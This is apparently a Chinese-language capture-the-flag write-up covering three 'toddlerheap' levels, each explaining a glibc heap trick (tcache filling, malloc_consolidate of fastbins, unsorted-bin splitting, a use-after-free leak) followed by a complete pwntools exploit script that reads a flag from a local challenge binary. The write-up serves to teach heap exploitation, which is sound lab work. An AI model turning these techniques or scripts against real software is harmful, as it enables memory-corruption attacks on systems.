
前言
冲冲冲,尽快拿下这一章然后学 FSOP,同时空下来学点 IoT,提前进军 realworld 。
Level 1.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
先填满 tcache,然后再申请同样大小就进入 fastbin 了,接着释放,让它可再次被分配,由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate
,强制合并所有 fastbin 到 top chunk,所以 read_flag
可以返回我们 fastbin 中那个 free 的地址,而由于 free 的时候并没有清除结构体中保存的指针,所以我们可以通过 puts UAF 泄漏其值。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level1.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("/challenge/lib/libc.so.6")
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(7): malloc(i, 0)
malloc(7, 0)
for i in range(7): free(i)
raw_input("DEBUG") free(7) read_flag() puts(7) quit()
target.interactive()
if __name__ == "__main__": main()
Level 2.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
if ( strcmp(s1, "read_flag") ) break; for ( i = 0; i <= 1; ++i ) { printf("[*] flag_buffer = malloc(%d)\n", 1434); size_4 = malloc(0x59Au); printf("[*] flag_buffer = %p\n", size_4); } fd = open("/flag", 0); read(fd, size_4, 0x80u); puts("[*] read the flag!"); }
这次就是 read_flag
中会执行两次 malloc,flag 被写到最后一次 malloc 返回的地址中。
那还不简单,丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中,这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level2.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def calloc(idx, size): target.sendlineafter(b": ", b"calloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(7): malloc(i, 0)
for i in range(7): free(i)
calloc(0, 0x59A) calloc(1, 0x59A) calloc(2, 0) free(1) free(0) raw_input("DEBUG") read_flag() puts(1) quit()
target.interactive()
if __name__ == "__main__": main()
Level 3.0
Information
- Category: Pwn
Description
Leverage consolidation to obtain the flag.
Write-up
和上题类似,区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F
,而 read_flag
内部使用的 malloc 大小为 0x390
,导致无法精确分配到我们想要的 chunk,咋办?
回忆一下 malloc 和相邻 chunk consolidation 的机制,我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ...
由于这里我们只能请求 > 0x41F
大小的 chunk,所以可以直接排除 tcachebins
、fastbins
和 smallbins
的可能性,那么 malloc 会直接查 unsorted bins
,有合适的就直接返回,如果远大于请求大小就切割然后归类,不够就去下一个 bin 中找……
那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]...
这样的堆布局,重复 11 组即可。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/toddlerheap_level3.0"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode()) target.sendlineafter(b"Size: ", str(size).encode())
def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx))
def read_flag(): target.sendlineafter(b": ", b"read_flag")
def quit(): target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
for i in range(12): # raw_input("DEBUG") malloc(i, 0x420) # raw_input("DEBUG") malloc(15, 0x420)
for i in range(12): # raw_input("DEBUG") free(i)
read_flag() puts(11) quit()
target.interactive()
if __name__ == "__main__": main()